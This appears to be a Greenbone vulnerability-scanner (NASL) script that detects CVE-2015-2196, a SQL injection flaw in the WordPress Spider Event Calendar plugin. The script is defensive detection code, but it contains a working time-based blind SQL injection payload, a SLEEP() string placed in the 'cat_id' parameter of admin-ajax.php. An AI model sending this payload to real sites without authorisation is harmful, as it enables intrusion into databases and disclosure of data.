WordPress Webdorado Spider Event Calendar SQL Injection

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805349");
  script_version("2023-07-25T05:05:58+0000");
  script_cve_id("CVE-2015-2196");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-03-09 18:19:33 +0530 (Mon, 09 Mar 2015)");
  script_name("WordPress Webdorado Spider Event Calendar SQL Injection");

  script_tag(name:"summary", value:"WordPress Spider Event Calendar is prone to an SQL injection (SQLi) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to execute sql query or not.");

  script_tag(name:"insight", value:"Flaw is due to the wp-admin/admin-ajax.php
  script not properly sanitizing user-supplied input to the 'cat_id' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to inject or manipulate SQL queries in the back-end database,
  allowing for the manipulation or disclosure of arbitrary data.");

  script_tag(name:"affected", value:"WordPress Spider Event Calendar Plugin 1.4.9");

  script_tag(name:"solution", value:"No known solution was made available
  for at least one year since the disclosure of this vulnerability. Likely none will
  be provided anymore. General solution options are to upgrade to a newer release,
  disable respective features, remove the product or replace the product by another
  one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/36061/");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

# Added three times, to make sure its working properly
sleep = make_list(5, 7);
time_taken = 0;
wait_extra_sec = 5;

# Use sleep time to check we are able to execute command
foreach sec (sleep)
{
  url = dir + "/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&"
            + "theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02"
            + "&many_sp_calendar=1&cur_page_url=%s&cat_id=1)%20AND%20SLEEP("
            + sec + ")%20AND%20(5524=5524&widget=0";

  req = http_get(item:url, port:port);

  start = unixtime();
  res = http_keepalive_send_recv(port:port, data:req);
  stop = unixtime();
  time_taken = stop - start;
  if(time_taken + 1 < sec || time_taken > (sec + wait_extra_sec)) exit(99);
}

report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);